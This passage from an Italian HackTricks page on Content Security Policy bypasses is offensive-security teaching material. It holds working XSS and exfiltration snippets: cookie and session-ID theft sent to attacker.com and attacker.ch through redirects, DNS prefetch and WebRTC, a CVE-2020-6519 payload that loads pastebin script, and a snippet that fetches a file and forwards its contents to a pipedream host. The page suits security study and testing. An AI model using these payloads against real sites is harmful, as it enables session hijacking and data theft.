Questo attacco implicherebbe un po' di ingegneria sociale in cui l'attaccante **convince l'utente a trascinare e rilasciare un link sopra il bookmarklet del browser**. Questo bookmarklet conterrebbe **codice javascript malevolo** che, quando trascinato e rilasciato o cliccato, verrebbe eseguito nel contesto della finestra web attuale, **bypassando CSP e permettendo di rubare informazioni sensibili** come cookie o token.

Per ulteriori informazioni [**controlla il rapporto originale qui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).

### Bypass CSP limitando CSP

In [**questo writeup CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP viene bypassato iniettando all'interno di un iframe consentito un CSP più restrittivo che vietava il caricamento di un file JS specifico che, poi, tramite **inquinamento del prototipo** o **dom clobbering** permetteva di **abusare di uno script diverso per caricare uno script arbitrario**.

Puoi **limitare un CSP di un Iframe** con l'attributo **`csp`**:

{% code overflow="wrap" %}
```html
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
{% endcode %}

In [**questo CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), è stato possibile tramite **HTML injection** **ristretta** ulteriormente una **CSP** in modo che uno script che preveniva CSTI fosse disabilitato e quindi la **vulnerabilità è diventata sfruttabile.**\
La CSP può essere resa più restrittiva utilizzando **HTML meta tags** e gli script inline possono disabilitare **rimuovendo** l'**entry** che consente il loro **nonce** e **abilitare script inline specifici tramite sha**:
```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
```
### JS exfiltration with Content-Security-Policy-Report-Only

Se riesci a far sì che il server risponda con l'intestazione **`Content-Security-Policy-Report-Only`** con un **valore controllato da te** (forse a causa di un CRLF), potresti farlo puntare al tuo server e se **avvolgi** il **contenuto JS** che desideri esfiltrare con **`<script>`** e poiché è altamente probabile che `unsafe-inline` non sia consentito dal CSP, questo **attiverà un errore CSP** e parte dello script (contenente le informazioni sensibili) sarà inviata al server da `Content-Security-Policy-Report-Only`.

Per un esempio [**controlla questo writeup CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).

### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
```
### Leaking Information with CSP and Iframe

* Un `iframe` viene creato che punta a un URL (chiamiamolo `https://example.redirect.com`) che è permesso da CSP.
* Questo URL poi reindirizza a un URL segreto (ad esempio, `https://usersecret.example2.com`) che **non è consentito** da CSP.
* Ascoltando l'evento `securitypolicyviolation`, si può catturare la proprietà `blockedURI`. Questa proprietà rivela il dominio dell'URI bloccato, facendo trapelare il dominio segreto a cui l'URL iniziale ha reindirizzato.

È interessante notare che i browser come Chrome e Firefox hanno comportamenti diversi nella gestione degli iframe rispetto a CSP, portando a una potenziale fuga di informazioni sensibili a causa di comportamenti non definiti.

Un'altra tecnica coinvolge lo sfruttamento del CSP stesso per dedurre il sottodominio segreto. Questo metodo si basa su un algoritmo di ricerca binaria e sull'aggiustamento del CSP per includere domini specifici che sono deliberatamente bloccati. Ad esempio, se il sottodominio segreto è composto da caratteri sconosciuti, puoi testare iterativamente diversi sottodomini modificando la direttiva CSP per bloccare o consentire questi sottodomini. Ecco un frammento che mostra come il CSP potrebbe essere impostato per facilitare questo metodo:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
Monitorando quali richieste sono bloccate o consentite dal CSP, si può restringere il campo dei possibili caratteri nel sottodominio segreto, scoprendo infine l'URL completo.

Entrambi i metodi sfruttano le sfumature dell'implementazione e del comportamento del CSP nei browser, dimostrando come politiche apparentemente sicure possano involontariamente leak informazioni sensibili.

Trick da [**qui**](https://ctftime.org/writeup/29310).

<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>

Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!

**Hacking Insights**\
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking

**Real-Time Hack News**\
Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale

**Latest Announcements**\
Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme

**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!

## Tecnologie non sicure per bypassare il CSP

### Errori PHP quando ci sono troppi parametri

Secondo la [**ultima tecnica commentata in questo video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), inviare troppi parametri (1001 parametri GET anche se puoi farlo anche con parametri POST e più di 20 file). Qualsiasi **`header()`** definito nel codice web PHP **non verrà inviato** a causa dell'errore che questo genererà.

### Sovraccarico del buffer di risposta PHP

PHP è noto per **bufferizzare la risposta fino a 4096** byte per impostazione predefinita. Pertanto, se PHP mostra un avviso, fornendo **dati sufficienti all'interno degli avvisi**, la **risposta** verrà **inviata** **prima** dell'**header CSP**, causando l'ignoranza dell'header.\
Quindi, la tecnica consiste fondamentalmente nel **riempire il buffer di risposta con avvisi** in modo che l'header CSP non venga inviato.

Idea da [**questo writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).

### Riscrivi la pagina di errore

Da [**questo writeup**](https://blog.ssrf.kr/69) sembra che fosse possibile bypassare una protezione CSP caricando una pagina di errore (potenzialmente senza CSP) e riscrivendo il suo contenuto.
```javascript
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);
```
### SOME + 'self' + wordpress

SOME è una tecnica che sfrutta un XSS (o un XSS altamente limitato) **in un endpoint di una pagina** per **sfruttare** **altri endpoint della stessa origine.** Questo avviene caricando l'endpoint vulnerabile da una pagina dell'attaccante e poi aggiornando la pagina dell'attaccante all'endpoint reale nella stessa origine che si desidera sfruttare. In questo modo, l'**endpoint vulnerabile** può utilizzare l'oggetto **`opener`** nel **payload** per **accedere al DOM** dell'**endpoint reale da sfruttare**. Per ulteriori informazioni, controlla:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
{% endcontent-ref %}

Inoltre, **wordpress** ha un endpoint **JSONP** in `/wp-json/wp/v2/users/1?_jsonp=data` che **riflette** i **dati** inviati nell'output (con la limitazione di solo lettere, numeri e punti).

Un attaccante può sfruttare quell'endpoint per **generare un attacco SOME** contro WordPress e **incorporarlo** all'interno di `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` nota che questo **script** sarà **caricato** perché è **consentito da 'self'**. Inoltre, e poiché WordPress è installato, un attaccante potrebbe sfruttare l'**attacco SOME** attraverso l'endpoint **callback vulnerabile** che **bypassa il CSP** per dare più privilegi a un utente, installare un nuovo plugin...\
Per ulteriori informazioni su come eseguire questo attacco, controlla [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)

## CSP Exfiltration Bypasses

Se c'è un CSP rigoroso che non ti consente di **interagire con server esterni**, ci sono alcune cose che puoi sempre fare per esfiltrare le informazioni.

### Location

Potresti semplicemente aggiornare la posizione per inviare al server dell'attaccante le informazioni segrete:
```javascript
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
```
### Meta tag

Puoi reindirizzare iniettando un meta tag (questo è solo un reindirizzamento, non farà leak di contenuto)
```html
<meta http-equiv="refresh" content="1; http://attacker.com">
```
### DNS Prefetch

Per caricare le pagine più velocemente, i browser pre-risolveranno i nomi host in indirizzi IP e li memorizzeranno per un uso successivo.\
Puoi indicare a un browser di pre-risolvere un nome host con: `<link rel="dns-prefetch" href="something.com">`

Potresti abusare di questo comportamento per **esfiltrare informazioni sensibili tramite richieste DNS**:
```javascript
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
```
Un altro modo:
```javascript
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
```
Per evitare che ciò accada, il server può inviare l'intestazione HTTP:
```
X-DNS-Prefetch-Control: off
```
{% hint style="info" %}
A quanto pare, questa tecnica non funziona nei browser headless (bot)
{% endhint %}

### WebRTC

Su diverse pagine puoi leggere che **WebRTC non controlla la politica `connect-src`** del CSP.

In realtà puoi _leak_ informazioni utilizzando una _richiesta DNS_. Dai un'occhiata a questo codice:
```javascript
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
```
Un'altra opzione:
```javascript
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
## Controllare le politiche CSP online

* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
* [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)

## Creazione automatica di CSP

[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)

## Riferimenti

* [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
* [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
* [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)
* [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme)
* [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg)
* [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)

​

<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>

Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!

**Approfondimenti sul hacking**\
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking

**Notizie di hacking in tempo reale**\
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale

**Ultimi annunci**\
Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme

**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!

{% hint style="success" %}
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Supporta HackTricks</summary>

* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.

</details>
{% endhint %}